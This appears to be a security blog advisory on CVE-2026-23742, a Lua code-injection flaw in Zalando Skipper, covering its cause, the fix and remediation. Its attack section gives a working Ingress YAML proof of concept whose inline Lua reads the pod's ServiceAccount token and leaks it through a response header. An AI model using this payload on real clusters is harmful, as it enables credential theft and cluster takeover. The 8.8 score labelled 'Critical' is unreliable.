Feb 17, 2026·6 min read·7 visits
Default configuration in Zalando Skipper < 0.23.0 allowed inline Lua script execution in routes. Attackers with Ingress creation rights could inject malicious scripts to read secrets or execute commands.
Zalando Skipper, a popular HTTP router and reverse proxy often used as a Kubernetes Ingress controller, contained a critical vulnerability allowing Arbitrary Code Execution (ACE) via Lua scripting. Prior to version 0.23.0, the Lua filter was enabled by default with permissive settings, allowing any user with the ability to define routes (e.g., via Kubernetes Ingress annotations) to inject inline Lua code. This code executed within the context of the Skipper process, granting attackers full access to the container's filesystem and environment variables, effectively compromising the ingress layer.
In the world of microservices, we demand our load balancers be 'smart'. We want them to route based on headers, rewrite paths, and perform complex logic at the edge. Enter Zalando Skipper, a Go-based HTTP router that is widely loved for its flexibility. It's the Swiss Army knife of proxies.
But here is the thing about Swiss Army knives: sometimes you pull out the toothpick, and sometimes you accidentally pull out the blade and cut your finger. Skipper's 'blade' was its Lua scripting filter.
To make routing logic infinitely customizable, the developers integrated a Lua engine. It allows users to write small scripts to manipulate requests on the fly. This sounds fantastic for a developer who wants to do some complex header manipulation. However, to a security researcher, 'integrated scripting engine' usually translates to 'Remote Code Execution waiting to happen'.
For years, this feature sat there, enabled by default, waiting for someone to realize that if you let users define the logic of the router, they own the router.
The vulnerability (CVE-2026-23742) isn't a complex buffer overflow or a subtle race condition. It is a classic architectural failure: Insecure Defaults.
Prior to version 0.23.0, Skipper's configuration had two fatal flaws:
-lua-sources flag defaulted to inline,file. This meant scripts didn't need to be static files vetted by an admin and placed on the server. They could be provided inline as a string within the route definition.In a Kubernetes environment, Skipper often acts as the Ingress Controller. Developers create Ingress resources to route traffic to their apps. If a developer (or an attacker who has compromised a developer's credentials) can create an Ingress resource, they can define Skipper filters.
> [!NOTE]
> Because the Lua environment wasn't sandboxed or stripped of standard libraries, the injected scripts had access to the io and os modules. This is the difference between "I can change a header" and "I can read your Kubernetes Service Account token."
The fix provided by the Zalando team in version 0.23.0 is a textbook example of shifting to 'Secure by Default'. Let's look at the logic change in the patch.
In the vulnerable versions, the code likely initialized the Lua state regardless of configuration. The fix introduces a specific flag EnableLua and wraps the initialization logic in a check.
Here is a reconstruction of the logic flow based on the patch data:
// BEFORE: Lua support was implicitly available
func NewEndpoint( /* ... */ ) {
// ... code ...
// The Lua filter was registered and available for use in routes
registerLuaFilter()
}
// AFTER: Explicit opt-in required
func NewEndpoint(options Options) {
// ... code ...
if options.EnableLua {
// Only now do we spin up the Lua engine
registerLuaFilter()
} else {
log.Infof("Lua filter is disabled")
}
}The commit 0b52894570773b29e2f3c571b94b4211ef8fa714 does exactly this. It adds a boolean flag -enable-lua which defaults to false. If you want the danger, you now have to ask for it explicitly. Furthermore, they refined the -lua-modules flag, allowing admins to granularly control which Lua packages (like os or io) are loaded, rather than giving the script the keys to the castle.
Let's put on our black hats. We have access to a Kubernetes namespace and we can create Ingress objects. We want to pivot from this low-privilege access to compromising the entire cluster.
Since Skipper runs as a pod in the cluster, it has a mounted ServiceAccount token at /var/run/secrets/kubernetes.io/serviceaccount/token. If we can read this file, we become the Ingress Controller.
The Attack Plan:
zalando.org/skipper-filter annotation.io library to read the token file.The Payload:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: cve-2026-23742-poc
annotations:
# The magic happens here. We define an inline Lua script.
zalando.org/skipper-filter: |
lua("
local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
if file then
local token = file:read('*all')
file:close()
-- Exfiltrate via response header
response.header['X-Pwned-Token'] = token
else
response.header['X-Error'] = 'Could not open file'
end
")
spec:
rules:
- host: pwned.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: any-service
port:
number: 80Once applied, a simple curl -v http://pwned.example.com returns the cluster's ServiceAccount token in the X-Pwned-Token header. Game over.
The impact here is Critical. An Ingress Controller sits at the border of your network. It terminates TLS, it sees all traffic, and it often holds privileged credentials.
By exploiting this, an attacker achieves:
It is effectively a bridge from 'external user' to 'internal admin' via a single configuration text field.
The immediate remediation is to upgrade to Skipper v0.23.0. This version disables Lua by default. If you don't use Lua filters, you are instantly safe after the upgrade.
If you do need Lua filters, you have some homework to do:
-enable-lua to your start arguments.inline sources in production. Set -lua-sources=file. This forces all scripts to be loaded from the filesystem, meaning an attacker needs file-write access to the Skipper pod to inject code, which is a much higher bar than just editing a YAML.io, os, and debug packages. Unless your routing logic involves reading files from the disk (why?), your proxy shouldn't have access to the filesystem API.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Skipper Zalando | < 0.23.0 | 0.23.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network |
| CVSS | 8.8 (Critical) |
| Exploit Status | PoC Available |
| Privileges Required | Low (Route creation) |
| KEV Status | Not Listed |
Improper Control of Generation of Code ('Code Injection')